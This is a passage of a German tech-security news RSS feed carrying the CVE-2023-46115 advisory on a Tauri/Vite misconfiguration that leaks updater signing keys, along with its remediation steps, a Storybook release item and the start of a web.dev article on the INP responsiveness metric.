<link>https://tsecurity.de/de/1898487/sicherheitsluecken/cve-2023-46115/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1898487/sicherheitsluecken/cve-2023-46115/</guid>
<pubDate>Fri, 20 Oct 2023 19:44:40 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tauri is a framework for building binaries for all major desktop platforms. This advisory is not describing a vulnerability in the Tauri code base itself but a commonly used misconfiguration which could lead to leaking of the private key and updater key password into bundled Tauri applications using the Vite frontend in a specific configuration. The Tauri documentation used an insecure example configuration in the `Vite guide` to showcase how to use Tauri together with Vite.  Copying the following snippet `envPrefix: ['VITE_', 'TAURI_'],` from this guide into the `vite.config.ts` of a Tauri project leads to bundling the `TAURI_PRIVATE_KEY` and `TAURI_KEY_PASSWORD` into the Vite frontend code and therefore leaking this value to the released Tauri application. Using the `envPrefix: ['VITE_'],` or any other framework than Vite means you are not impacted by this advisory. Users are advised to rotate their updater private key if they are affected by this (requires Tauri CLI &gt;=1.5.5). After updating the envPrefix configuration, generate a new private key with `tauri signer generate`, saving the new private key and updating the updater's `pubkey` value on `tauri.conf.json` with the new public key. To update your existing application, the next application build must be signed with the older private key in order to be accepted by the existing application. (CVSS:8.4) (EPSS:0.04%) (Last Update:2023-10-20 11:27:24)]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2023-46115]]></title>
<description><![CDATA[Tauri is a framework for building binaries for all major desktop platforms. This advisory is not describing a vulnerability in the Tauri code base itself but a commonly used misconfiguration which could lead to leaking of the private key and updater key password into bundled Tauri applications us...]]></description>
<link>https://tsecurity.de/de/1898476/sicherheitsluecken/cve-2023-46115/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1898476/sicherheitsluecken/cve-2023-46115/</guid>
<pubDate>Fri, 20 Oct 2023 19:44:37 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tauri is a framework for building binaries for all major desktop platforms. This advisory is not describing a vulnerability in the Tauri code base itself but a commonly used misconfiguration which could lead to leaking of the private key and updater key password into bundled Tauri applications using the Vite frontend in a specific configuration. The Tauri documentation used an insecure example configuration in the `Vite guide` to showcase how to use Tauri together with Vite.  Copying the following snippet `envPrefix: ['VITE_', 'TAURI_'],` from this guide into the `vite.config.ts` of a Tauri project leads to bundling the `TAURI_PRIVATE_KEY` and `TAURI_KEY_PASSWORD` into the Vite frontend code and therefore leaking this value to the released Tauri application. Using the `envPrefix: ['VITE_'],` or any other framework than Vite means you are not impacted by this advisory. Users are advised to rotate their updater private key if they are affected by this (requires Tauri CLI &gt;=1.5.5). After updating the envPrefix configuration, generate a new private key with `tauri signer generate`, saving the new private key and updating the updater's `pubkey` value on `tauri.conf.json` with the new public key. To update your existing application, the next application build must be signed with the older private key in order to be accepted by the existing application.]]></content:encoded>
</item>
<item>
<title><![CDATA[UI-Tool: Storybook 7.5 führt ein neues Feature für Angular ein]]></title>
<description><![CDATA[Das neue Release erweitert den Angular-Support, unterstützt Lit 3.0 und stellt sich bereits auf die kommende Version Vite 5 ein.]]></description>
<link>https://tsecurity.de/de/1897264/it-nachrichten/ui-tool-storybook-75-fuehrt-ein-neues-feature-fuer-angular-ein/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1897264/it-nachrichten/ui-tool-storybook-75-fuehrt-ein-neues-feature-fuer-angular-ein/</guid>
<pubDate>Fri, 20 Oct 2023 19:37:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das neue Release erweitert den Angular-Support, unterstützt Lit 3.0 und stellt sich bereits auf die kommende Version Vite 5 ein.]]></content:encoded>
</item>
<item>
<title><![CDATA[Economic Times quest for fixing INP]]></title>
<description><![CDATA[Interaction to Next Paint (INP) is a metric that assesses a website's responsiveness to user input. Good responsiveness means that a page is quick to respond to user interactions. The lower a page's INP is, the better it is able to respond to user interactions.

  .inp-mobile {
    display: inlin...]]></description>
<link>https://tsecurity.de/de/1886629/web-tipps/economic-times-quest-for-fixing-inp/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1886629/web-tipps/economic-times-quest-for-fixing-inp/</guid>
<pubDate>Wed, 24 May 2023 09:44:46 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://web.dev/inp/">Interaction to Next Paint (INP)</a> is a metric that assesses a website's responsiveness to user input. Good responsiveness means that a page is quick to respond to user interactions. The lower a page's INP is, the better it is able to respond to user interactions.</p>
<style>
  .inp-mobile {
    display: inline;
  }

  .inp-desktop {
    display: none;
  }

  @media screen and (min-width: 640px) {
    .inp-mobile {
      display: none;
    }

    .inp-desktop {
      display: inline;
    }
  }
</style>
<figure>
  <svg title="A diagram of the INP thresholds. An INP at or below 200 milliseconds is considered good. Between 200 and 500 milliseconds suggests a page's responsiveness needs improvement. Anything over 500 milliseconds means that a page's responsiveness is poor." class="inp-mobile" version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0" y="0" viewBox="0 0 296.6 220.2" style="enable-background:new 0 0 296.6 220.2" xml:space="preserve"><style>.st0{fill:#2979FF} .st1{fill-rule:evenodd;clip-rule:evenodd;fill:#0CCE6B} .st2{fill:#191919} .st3{fill-rule:evenodd;clip-rule:evenodd;fill:#FFA400} .st4{fill-rule:evenodd;clip-rule:evenodd;fill:#FF4E42} @media screen and (prefers-color-scheme: light){.st2{fill:#191919}} [data-user-theme=light] .st2 {fill:#191919} @media screen and (prefers-color-scheme: dark){.st2{fill:#fff}} [data-user-theme=dark] .st2{fill:#fff}</style><path class="st0" d="M83.3 63V0h11.9v63H83.3zm26.3 0V0h13.8l25.3 42.2h.7l-.7-12.1V0h11.8v63H148l-26.8-44.6h-.7l.7 12.1V63h-11.6zm65.4 0V0h22.2c4.1 0 7.7.8 10.9 2.5s5.8 4 7.7 7 2.9 6.4 2.9 10.4c0 3.9-1 7.4-2.9 10.4s-4.5 5.4-7.7 7c-3.2 1.7-6.9 2.5-10.9 2.5h-15.6V28.6h15.9c2.1 0 3.8-.4 5.2-1.2s2.5-1.9 3.2-3.2c.7-1.3 1.1-2.8 1.1-4.3s-.4-2.9-1.1-4.2c-.7-1.3-1.8-2.3-3.2-3.2s-3.1-1.2-5.2-1.2h-10.7V63H175z"></path><path class="st1" d="M0 137.1h96v38.4H0v-38.4z"></path><path class="st2" d="M34 161c-.6 0-1.2-.1-1.8-.3-.5-.2-1-.5-1.4-.9-.4-.4-.7-.9-1-1.4-.2-.6-.3-1.1-.3-1.8 0-.6.1-1.2.3-1.8.2-.6.6-1 1-1.4.4-.4.9-.7 1.4-.9.5-.2 1.1-.3 1.8-.3s1.3.1 1.8.3c.6.2 1 .6 1.4 1l-.9.9c-.2-.2-.4-.4-.6-.5-.2-.1-.5-.3-.8-.3-.3-.1-.6-.1-.9-.1-.4 0-.8.1-1.2.2-.4.1-.7.4-1 .6-.3.3-.5.6-.7 1-.2.4-.2.8-.2 1.3s.1.9.2 1.3c.2.4.4.7.7 1 .3.3.6.5 1 .7.4.1.8.2 1.2.2.4 0 .8-.1 1.1-.2.3-.1.6-.3.9-.5.3-.2.5-.5.6-.8.2-.3.3-.6.3-1H34v-1.2h4.2v.7c0 .6-.1 1.2-.3 1.7-.2.5-.5.9-.9 1.3s-.8.6-1.3.8c-.5.3-1.1.4-1.7.4zm9.5 0c-.6 0-1.2-.1-1.8-.3-.5-.2-1-.5-1.4-1-.4-.4-.7-.9-.9-1.4-.2-.5-.3-1.1-.3-1.8 0-.6.1-1.2.3-1.8.2-.5.5-1 .9-1.4.4-.4.9-.7 1.4-1 .5-.2 1.1-.3 1.8-.3.6 0 1.2.1 1.8.3.5.2 1 .6 1.4 1 .4.4.7.9.9 1.4.2.5.3 1.1.3 1.8 0 .6-.1 1.2-.3 1.8-.2.5-.5 1-.9 1.4-.4.4-.9.7-1.4 1-.5.2-1.1.3-1.8.3zm0-1.2c.6 0 1.1-.1 1.6-.4.5-.3.8-.7 1.1-1.1.3-.5.4-1.1.4-1.7 0-.6-.1-1.2-.4-1.7-.3-.5-.7-.9-1.1-1.1-.5-.3-1-.4-1.6-.4-.6 0-1.1.1-1.6.4-.5.3-.8.7-1.1 1.1-.3.5-.4 1-.4 1.7 0 .6.1 1.2.4 1.7.3.5.7.9 1.1 1.1.5.3 1 .4 1.6.4zm9.9 1.2c-.6 0-1.2-.1-1.8-.3-.5-.2-1-.5-1.4-1-.4-.4-.7-.9-.9-1.4-.2-.5-.3-1.1-.3-1.8 0-.6.1-1.2.3-1.8.2-.5.5-1 .9-1.4.4-.4.9-.7 1.4-1 .5-.2 1.1-.3 1.8-.3.6 0 1.2.1 1.8.3.5.2 1 .6 1.4 1 .4.4.7.9.9 1.4.2.5.3 1.1.3 1.8 0 .6-.1 1.2-.3 1.8-.2.5-.5 1-.9 1.4-.4.4-.9.7-1.4 1-.6.2-1.2.3-1.8.3zm0-1.2c.6 0 1.1-.1 1.6-.4.5-.3.8-.7 1.1-1.1.3-.5.4-1.1.4-1.7 0-.6-.1-1.2-.4-1.7-.3-.5-.7-.9-1.1-1.1-.5-.3-1-.4-1.6-.4-.6 0-1.1.1-1.6.4-.5.3-.8.7-1.1 1.1-.3.5-.4 1-.4 1.7 0 .6.1 1.2.4 1.7.3.5.7.9 1.1 1.1.5.3 1 .4 1.6.4zm6 1.1v-8.6h2.8c.9 0 1.7.2 2.3.5.7.4 1.2.9 1.5 1.5.4.6.5 1.4.5 2.2 0 .8-.2 1.6-.5 2.2-.4.6-.9 1.2-1.5 1.5-.6.4-1.4.5-2.3.5h-2.8zm1.3-1.3h1.4c.6 0 1.2-.1 1.7-.4.5-.3.8-.6 1.1-1 .2-.5.4-1 .4-1.6 0-.6-.1-1.2-.4-1.6-.2-.5-.6-.8-1.1-1-.5-.3-1-.4-1.7-.4h-1.4v6z"></path><path class="st3" d="M96 137.1h105.6v38.4H96v-38.4z"></path><path class="st2" d="M130.8 153.9v-8.6h1.6l3.9 6.3h.1l-.1-1.7v-4.7h1.3v8.6h-1.4l-4.1-6.6h-.1l.1 1.7v5h-1.3zm8.7 0v-8.6h5.2v1.2h-3.9v6.1h3.9v1.2h-5.2zm.7-3.7V149h4.1v1.2h-4.1zm6.2 3.7v-8.6h5.2v1.2h-3.9v6.1h3.9v1.2h-5.2zm.7-3.7V149h4.1v1.2h-4.1zm6.1 3.7v-8.6h2.8c.9 0 1.7.2 2.3.5.7.4 1.2.9 1.5 1.5.4.6.5 1.4.5 2.2s-.2 1.6-.5 2.2c-.4.6-.9 1.2-1.5 1.5-.6.4-1.4.5-2.3.5h-2.8zm1.3-1.3h1.4c.6 0 1.2-.1 1.7-.4.5-.2.8-.6 1.1-1 .2-.5.4-1 .4-1.6 0-.6-.1-1.2-.4-1.6-.2-.5-.6-.8-1.1-1-.5-.2-1-.4-1.7-.4h-1.4v6zm9.9 1.4c-.5 0-.9-.1-1.3-.3-.4-.2-.8-.4-1.1-.8-.3-.4-.5-.8-.7-1.3l1.2-.5c.1.5.3.9.7 1.2.3.3.7.5 1.2.5.3 0 .5 0 .8-.1.2-.1.4-.2.6-.4s.2-.4.2-.7c0-.3-.1-.5-.2-.7-.1-.2-.3-.3-.6-.5s-.6-.3-1-.5l-.5-.2c-.2-.1-.5-.2-.7-.3-.2-.1-.5-.3-.7-.5-.2-.2-.4-.4-.5-.7-.1-.3-.2-.6-.2-.9 0-.4.1-.8.3-1.2.2-.4.5-.6.9-.8.4-.2.9-.3 1.4-.3.6 0 1 .1 1.4.3.4.2.7.4.9.7.2.3.4.5.4.8l-1.2.5c0-.2-.1-.3-.2-.5s-.3-.3-.5-.4c-.2-.1-.4-.2-.8-.2-.2 0-.5.1-.7.2-.2.1-.4.2-.5.4-.1.2-.2.3-.2.6s.1.6.4.8c.3.2.6.4 1.1.5l.6.2c.3.1.6.2.8.3.3.1.5.3.7.5.2.2.4.4.5.7.1.3.2.6.2 1s-.1.8-.3 1.2c-.2.3-.4.6-.7.8-.3.2-.6.3-.9.4s-.5.2-.8.2zM107 167.9v-8.6h1.3v8.6H107zm3.2 0v-8.6h1.8l2.5 6.5h.1l2.5-6.5h1.8v8.6h-1.3V163l.1-1.5h-.1l-2.5 6.4h-1l-2.5-6.4h-.1l.1 1.5v4.9h-1.4zm10.6 0v-8.6h3c.5 0 1 .1 1.4.3.4.2.8.5 1 .9.3.4.4.9.4 1.4 0 .5-.1 1-.4 1.4-.2.4-.6.7-1 .9-.4.2-.9.3-1.4.3h-2.2v-1.2h2.3c.3 0 .6-.1.8-.2.2-.1.4-.3.5-.5.1-.2.2-.4.2-.7 0-.2-.1-.4-.2-.7-.1-.2-.3-.4-.5-.5-.2-.1-.5-.2-.8-.2h-1.7v7.3h-1.4zm7.2 0v-8.6h3c.5 0 1 .1 1.4.3.4.2.7.5 1 .9.2.4.4.8.4 1.4 0 .3-.1.7-.2 1s-.3.6-.6.8c-.3.2-.6.4-1 .6-.4.1-.8.2-1.2.2h-2.1v-1.2h2.3c.3 0 .5-.1.7-.2.2-.1.4-.3.5-.5.1-.2.2-.5.2-.7 0-.2-.1-.5-.2-.7-.1-.2-.3-.4-.5-.5-.2-.1-.5-.2-.8-.2h-1.7v7.4H128zm2-4h1.5l2.7 3.9v.1h-1.5l-2.7-4zm9.3 4.1c-.6 0-1.2-.1-1.8-.3-.5-.2-1-.5-1.4-1-.4-.4-.7-.9-.9-1.4-.2-.5-.3-1.1-.3-1.8s.1-1.2.3-1.8c.2-.5.5-1 .9-1.4.4-.4.9-.7 1.4-1 .5-.2 1.1-.3 1.8-.3.6 0 1.2.1 1.8.3.5.2 1 .6 1.4 1 .4.4.7.9.9 1.4.2.5.3 1.1.3 1.8s-.1 1.2-.3 1.8c-.2.5-.5 1-.9 1.4-.4.4-.9.7-1.4 1-.6.2-1.2.3-1.8.3zm0-1.2c.6 0 1.1-.1 1.6-.4.5-.3.8-.7 1.1-1.1.3-.5.4-1.1.4-1.7 0-.6-.1-1.2-.4-1.7-.3-.5-.7-.9-1.1-1.1-.5-.3-1-.4-1.6-.4-.6 0-1.1.1-1.6.4-.5.3-.8.7-1.1 1.1-.3.5-.4 1-.4 1.7 0 .6.1 1.2.4 1.7.3.5.7.9 1.1 1.1.5.3 1 .4 1.6.4zm7.9 1.1-3-8.6h1.4l1.9 5.7.3 1h.1l.3-1 2-5.7h1.4l-3.1 8.6h-1.3zm5.6 0v-8.6h5.2v1.2h-3.9v6.1h3.9v1.2h-5.2zm.7-3.7V163h4.1v1.2h-4.1zm6.2 3.7v-8.6h1.8l2.5 6.5h.1l2.5-6.5h1.8v8.6H167V163l.1-1.5h-.1l-2.5 6.4h-1l-2.5-6.4h-.1l.1 1.5v4.9h-1.3zm10.6 0v-8.6h5.2v1.2h-3.9v6.1h3.9v1.2h-5.2zm.7-3.7V163h4.1v1.2H171zm6.1 3.7v-8.6h1.6l3.9 6.3h.1l-.1-1.7v-4.7h1.3v8.6h-1.4l-4.1-6.6h-.1l.1 1.7v5h-1.3zm10.5 0V160h1.3v7.9h-1.3zm-2.4-7.4v-1.2h6.1v1.2h-6.1z"></path><path class="st4" d="M200.6 137.1h96v38.4h-96v-38.4z"></path><path class="st2" d="M232.5 160.9v-8.6h3c.5 0 1 .1 1.4.3.4.2.8.5 1 .9.3.4.4.9.4 1.4 0 .5-.1 1-.4 1.4-.2.4-.6.7-1 .9-.4.2-.9.3-1.4.3h-2.2v-1.2h2.3c.3 0 .6-.1.8-.2.2-.1.4-.3.5-.5.1-.2.2-.4.2-.7 0-.2-.1-.4-.2-.7-.1-.2-.3-.4-.5-.5-.2-.1-.5-.2-.8-.2h-1.7v7.3h-1.4zm11 .1c-.6 0-1.2-.1-1.8-.3-.5-.2-1-.5-1.4-1-.4-.4-.7-.9-.9-1.4-.2-.5-.3-1.1-.3-1.8s.1-1.2.3-1.8c.2-.5.5-1 .9-1.4.4-.4.9-.7 1.4-1 .5-.2 1.1-.3 1.8-.3.6 0 1.2.1 1.8.3.5.2 1 .6 1.4 1 .4.4.7.9.9 1.4.2.5.3 1.1.3 1.8s-.1 1.2-.3 1.8c-.2.5-.5 1-.9 1.4-.4.4-.9.7-1.4 1-.5.2-1.1.3-1.8.3zm0-1.2c.6 0 1.1-.1 1.6-.4.5-.3.8-.7 1.1-1.1.3-.5.4-1.1.4-1.7 0-.6-.1-1.2-.4-1.7-.3-.5-.7-.9-1.1-1.1-.5-.3-1-.4-1.6-.4-.6 0-1.1.1-1.6.4-.5.3-.8.7-1.1 1.1-.3.5-.4 1-.4 1.7 0 .6.1 1.2.4 1.7.3.5.7.9 1.1 1.1.6.3 1.1.4 1.6.4zm9.9 1.2c-.6 0-1.2-.1-1.8-.3-.5-.2-1-.5-1.4-1-.4-.4-.7-.9-.9-1.4-.2-.5-.3-1.1-.3-1.8s.1-1.2.3-1.8c.2-.5.5-1 .9-1.4.4-.4.9-.7 1.4-1 .5-.2 1.1-.3 1.8-.3.6 0 1.2.1 1.8.3.5.2 1 .6 1.4 1 .4.4.7.9.9 1.4.2.5.3 1.1.3 1.8s-.1 1.2-.3 1.8c-.2.5-.5 1-.9 1.4-.4.4-.9.7-1.4 1-.6.2-1.1.3-1.8.3zm0-1.2c.6 0 1.1-.1 1.6-.4.5-.3.8-.7 1.1-1.1.3-.5.4-1.1.4-1.7 0-.6-.1-1.2-.4-1.7-.3-.5-.7-.9-1.1-1.1-.5-.3-1-.4-1.6-.4-.6 0-1.1.1-1.6.4-.5.3-.8.7-1.1 1.1-.3.5-.4 1-.4 1.7 0 .6.1 1.2.4 1.7.3.5.7.9 1.1 1.1.5.3 1 .4 1.6.4zm6 1.1v-8.6h3c.5 0 1 .1 1.4.3.4.2.7.5 1 .9.2.4.4.8.4 1.4 0 .3-.1.7-.2 1s-.3.6-.6.8c-.3.2-.6.4-1 .6-.4.1-.8.2-1.2.2h-2.1v-1.2h2.3c.3 0 .5-.1.7-.2.2-.1.4-.3.5-.5.1-.2.2-.5.2-.7 0-.2-.1-.5-.2-.7-.1-.2-.3-.4-.5-.5-.2-.1-.5-.2-.8-.2h-1.7v7.4h-1.2zm2-4h1.5l2.7 3.9v.1H264l-2.6-4zM178.1 219.9c-.5 0-1-.1-1.5-.3-.5-.2-1-.5-1.4-1-.4-.4-.7-1-.8-1.7l1.5-.6c.1.6.4 1 .8 1.4.4.4.9.5 1.4.5.6 0 1.1-.2 1.5-.6.4-.4.6-.9.6-1.5s-.2-1.1-.6-1.5c-.4-.4-.9-.6-1.5-.6-.4 0-.7.1-1 .2-.3.1-.5.4-.7.6l-1.7-.8.7-5.5h5.9v1.6h-4.5l-.4 2.9h.1c.2-.2.5-.3.8-.5.3-.1.7-.2 1.2-.2.6 0 1.2.2 1.7.5s1 .7 1.3 1.3c.3.5.5 1.2.5 1.9s-.2 1.3-.5 1.9c-.3.6-.8 1-1.3 1.3-.7.5-1.4.7-2.1.7zm9.9 0c-.7 0-1.3-.1-1.9-.4-.5-.3-1-.7-1.4-1.2-.4-.5-.7-1.1-.9-1.8-.2-.7-.3-1.4-.3-2.2 0-.8.1-1.6.3-2.2.2-.7.5-1.3.9-1.8s.9-.9 1.4-1.2c.6-.3 1.2-.5 1.9-.5s1.3.2 1.9.5c.6.3 1 .7 1.4 1.2.4.5.7 1.1.9 1.8.2.7.3 1.4.3 2.2 0 .8-.1 1.6-.3 2.2-.2.7-.5 1.3-.9 1.8s-.9.9-1.4 1.2c-.6.2-1.2.4-1.9.4zm.1-1.7c.6 0 1-.2 1.5-.5.4-.4.7-.9 1-1.5.2-.6.3-1.3.3-2.1s-.1-1.5-.3-2.1c-.2-.6-.5-1.1-1-1.5-.4-.4-.9-.5-1.5-.5s-1.1.2-1.5.5c-.4.4-.7.8-.9 1.5-.2.6-.3 1.3-.3 2.1s.1 1.5.3 2.1c.2.6.5 1.1.9 1.5.4.3.9.5 1.5.5zm10.5 1.7c-.7 0-1.3-.1-1.9-.4-.5-.3-1-.7-1.4-1.2-.4-.5-.7-1.1-.9-1.8-.2-.7-.3-1.4-.3-2.2 0-.8.1-1.6.3-2.2.2-.7.5-1.3.9-1.8s.9-.9 1.4-1.2c.6-.3 1.2-.5 1.9-.5s1.3.2 1.9.5c.6.3 1 .7 1.4 1.2.4.5.7 1.1.9 1.8.2.7.3 1.4.3 2.2 0 .8-.1 1.6-.3 2.2-.2.7-.5 1.3-.9 1.8s-.9.9-1.4 1.2c-.6.2-1.2.4-1.9.4zm0-1.7c.6 0 1-.2 1.5-.5.4-.4.7-.9 1-1.5.2-.6.3-1.3.3-2.1s-.1-1.5-.3-2.1c-.2-.6-.5-1.1-1-1.5-.4-.4-.9-.5-1.5-.5s-1.1.2-1.5.5c-.4.4-.7.8-.9 1.5-.2.6-.3 1.3-.3 2.1s.1 1.5.3 2.1c.2.6.5 1.1.9 1.5.4.3.9.5 1.5.5zm10 1.4v-8.2h1.6v1.1h.1c.2-.3.4-.5.6-.7.3-.2.6-.4.9-.5.3-.1.7-.2 1-.2.6 0 1.1.1 1.5.4.4.3.7.7.9 1.1.3-.4.6-.8 1.1-1.1.5-.3 1-.5 1.7-.5 1 0 1.7.3 2.1.9.5.6.7 1.4.7 2.3v5.2h-1.7v-4.9c0-.7-.1-1.1-.4-1.4-.3-.3-.7-.5-1.2-.5-.4 0-.7.1-1 .3-.3.2-.5.5-.7.9-.2.4-.2.8-.2 1.2v4.4h-1.7v-4.9c0-.7-.1-1.1-.4-1.4-.3-.3-.7-.5-1.2-.5-.4 0-.7.1-1 .3-.3.2-.5.5-.7.9-.2.4-.2.8-.2 1.2v4.4h-1.8zm17.2.3c-.6 0-1.2-.1-1.7-.3-.5-.2-.9-.5-1.2-.8-.3-.3-.5-.7-.7-1.1l1.5-.7c.2.4.5.8.8 1 .4.2.8.3 1.2.3.4 0 .8-.1 1.1-.2.3-.2.5-.4.5-.8 0-.2-.1-.4-.2-.6-.1-.1-.3-.3-.6-.4-.2-.1-.5-.2-.8-.2l-1-.2c-.4-.1-.8-.3-1.1-.5-.3-.2-.6-.5-.8-.8-.2-.3-.3-.7-.3-1.1 0-.5.1-.9.4-1.3.3-.4.7-.6 1.1-.8.5-.2 1-.3 1.6-.3.5 0 1 .1 1.4.2.4.1.8.3 1.1.6.3.3.6.6.8 1l-1.5.7c-.2-.4-.4-.6-.7-.8-.3-.1-.6-.2-1-.2s-.7.1-1 .2c-.3.2-.4.4-.4.6 0 .3.1.5.4.7.2.2.5.3.9.4l1.2.3c.8.2 1.4.5 1.8.9.4.4.6.9.6 1.5 0 .5-.2 1-.5 1.4-.3.4-.7.7-1.2.9-.6.2-1.1.4-1.7.4zM69 220v-1.6s.2-.1.4-.4c.2-.2.5-.5.8-.9l1.1-1.1 1-1c.3-.3.5-.6.7-.8.3-.3.5-.6.7-.8.2-.2.3-.5.4-.7.1-.2.1-.5.1-.8 0-.3-.1-.5-.2-.8-.1-.3-.3-.4-.6-.6-.3-.1-.6-.2-1-.2s-.7.1-1 .2c-.3.1-.5.3-.6.6-.1.2-.3.4-.3.7l-1.5-.6c.1-.3.2-.5.4-.8.2-.3.4-.5.7-.8.3-.3.6-.5 1-.6.4-.2.9-.3 1.4-.2.7 0 1.3.2 1.9.5.5.3.9.7 1.2 1.2.3.5.4 1 .4 1.6 0 .5-.1.9-.2 1.3-.2.4-.4.8-.7 1.2-.3.4-.5.7-.8 1l-.5.5c-.2.2-.4.5-.7.7l-.7.7-.6.6-.4.4h4.8v1.6H69zm13.2.2c-.7 0-1.3-.1-1.9-.4-.5-.3-1-.7-1.4-1.2-.4-.5-.7-1.1-.9-1.8-.2-.7-.3-1.4-.3-2.2 0-.8.1-1.6.3-2.2.2-.7.5-1.3.9-1.8s.9-.9 1.4-1.2c.6-.3 1.2-.5 1.9-.5s1.3.2 1.9.5c.6.3 1 .7 1.4 1.2.4.5.7 1.1.9 1.8.2.7.3 1.4.3 2.2 0 .8-.1 1.6-.3 2.2-.2.7-.5 1.3-.9 1.8s-.9.9-1.4 1.2c-.6.3-1.2.4-1.9.4zm0-1.6c.6 0 1-.2 1.5-.5.4-.4.7-.9 1-1.5.2-.6.3-1.3.3-2.1s-.1-1.5-.3-2.1c-.2-.6-.5-1.1-1-1.5-.4-.4-.9-.5-1.5-.5s-1.1.2-1.5.5c-.4.4-.7.8-.9 1.5-.2.6-.3 1.3-.3 2.1s.1 1.5.3 2.1c.2.6.5 1.1.9 1.5.4.3.9.5 1.5.5zm10.5 1.6c-.7 0-1.3-.1-1.9-.4-.5-.3-1-.7-1.4-1.2-.4-.5-.7-1.1-.9-1.8-.2-.7-.3-1.4-.3-2.2 0-.8.1-1.6.3-2.2.2-.7.5-1.3.9-1.8s.9-.9 1.4-1.2c.6-.3 1.2-.5 1.9-.5s1.3.2 1.9.5c.6.3 1 .7 1.4 1.2.4.5.7 1.1.9 1.8.2.7.3 1.4.3 2.2 0 .8-.1 1.6-.3 2.2-.2.7-.5 1.3-.9 1.8s-.9.9-1.4 1.2c-.6.3-1.2.4-1.9.4zm0-1.6c.6 0 1-.2 1.5-.5.4-.4.7-.9 1-1.5.2-.6.3-1.3.3-2.1s-.1-1.5-.3-2.1c-.2-.6-.5-1.1-1-1.5-.4-.4-.9-.5-1.5-.5s-1.1.2-1.5.5c-.4.4-.7.8-.9 1.5-.2.6-.3 1.3-.3 2.1s.1 1.5.3 2.1c.2.6.5 1.1.9 1.5.5.3 1 .5 1.5.5zm10 1.4v-8.2h1.6v1.1h.1c.2-.3.4-.5.6-.7.3-.2.6-.4.9-.5.3-.1.7-.2 1-.2.6 0 1.1.1 1.5.4.4.3.7.7.9 1.1.3-.4.6-.8 1.1-1.1.5-.3 1-.5 1.7-.5 1 0 1.7.3 2.1.9.5.6.7 1.4.7 2.3v5.2h-1.7v-4.9c0-.7-.1-1.1-.4-1.4-.3-.3-.7-.5-1.2-.5-.4 0-.7.1-1 .3-.3.2-.5.5-.7.9-.2.4-.2.8-.2 1.2v4.4H108v-4.9c0-.7-.1-1.1-.4-1.4-.3-.3-.7-.5-1.2-.5-.4 0-.7.1-1 .3-.3.2-.5.5-.7.9-.2.4-.2.8-.2 1.2v4.4h-1.8zm17.2.2c-.6 0-1.2-.1-1.7-.3-.5-.2-.9-.5-1.2-.8-.3-.3-.5-.7-.7-1.1l1.5-.7c.2.4.5.8.8 1 .4.2.8.3 1.2.3.4 0 .8-.1 1.1-.2.3-.2.5-.4.5-.8 0-.2-.1-.4-.2-.6-.1-.1-.3-.3-.6-.4-.2-.1-.5-.2-.8-.2l-1-.2c-.4-.1-.8-.3-1.1-.5-.3-.2-.6-.5-.8-.8-.2-.3-.3-.7-.3-1.1 0-.5.1-.9.4-1.3.3-.4.7-.6 1.1-.8.5-.2 1-.3 1.6-.3.5 0 1 .1 1.4.2.4.1.8.3 1.1.6.3.3.6.6.8 1l-1.5.7c-.2-.4-.4-.6-.7-.8-.3-.1-.6-.2-1-.2s-.7.1-1 .2c-.3.2-.4.4-.4.6 0 .3.1.5.4.7.2.2.5.3.9.4l1.2.3c.8.2 1.4.5 1.8.9.4.4.6.9.6 1.5 0 .5-.2 1-.5 1.4-.3.4-.7.7-1.2.9-.5.3-1.1.4-1.7.4zM42.4 96.3V82h1.7v14.3h-1.7zm4.6 0V86.1h1.6v1.5h.1c.3-.5.7-.9 1.3-1.3.6-.4 1.3-.5 2-.5 1.2 0 2.2.4 2.8 1.1.6.7 1 1.7 1 2.9v6.5h-1.7V90c0-1-.2-1.7-.7-2.1-.5-.4-1.1-.6-1.8-.6-.6 0-1.1.2-1.5.5-.4.3-.8.7-1 1.2-.2.5-.4 1-.4 1.6v5.7H47zm10-10.2h6v1.5h-6v-1.5zm1.8 7.5V83.3h1.7v10c0 .5.1.9.3 1.2s.6.4 1.1.4c.2 0 .4 0 .6-.1.2-.1.4-.2.5-.2v1.7c-.2.1-.4.1-.6.2-.2.1-.5.1-.8.1-.9 0-1.5-.2-2.1-.8-.5-.6-.7-1.3-.7-2.2zm10.3 3c-1 0-1.9-.2-2.6-.7-.8-.5-1.4-1.1-1.8-1.9-.4-.8-.6-1.7-.6-2.8 0-1 .2-1.9.6-2.7s1-1.5 1.7-2 1.6-.8 2.6-.8 1.9.2 2.6.7c.7.4 1.3 1.1 1.7 1.8.4.8.6 1.7.6 2.7v.5H65V90h7c0-.3-.1-.6-.2-.9-.1-.3-.3-.6-.5-.9-.2-.3-.6-.5-.9-.7-.4-.2-.8-.3-1.4-.3-.7 0-1.2.2-1.7.5s-.8.8-1.1 1.4c-.3.6-.4 1.2-.4 2 0 .9.2 1.6.5 2.2.3.6.8 1 1.3 1.3.5.3 1.1.4 1.7.4.8 0 1.4-.2 1.8-.5.5-.4.9-.8 1.2-1.3l1.4.7c-.4.8-1 1.4-1.7 1.9-.9.6-1.8.8-2.9.8zm6.7-.3V86.1h1.6v1.6h.1c.1-.4.4-.7.7-1 .3-.3.7-.5 1.1-.7s.8-.2 1.2-.2h.7c.2 0 .3.1.5.2v1.8c-.2-.1-.5-.2-.7-.2-.2-.1-.5-.1-.7-.1-.5 0-1 .1-1.4.4-.4.3-.7.7-1 1.1-.2.5-.4 1-.4 1.5v5.7h-1.7zm10.4.3c-.8 0-1.4-.1-2-.4s-1-.7-1.3-1.2c-.3-.5-.5-1.1-.5-1.8 0-.8.2-1.4.6-1.9.4-.5.9-.9 1.5-1.2.7-.3 1.4-.4 2.2-.4.4 0 .9 0 1.2.1s.7.2 1 .3c.3.1.5.2.7.3v-.6c0-.8-.3-1.4-.8-1.8-.5-.5-1.2-.7-2-.7-.6 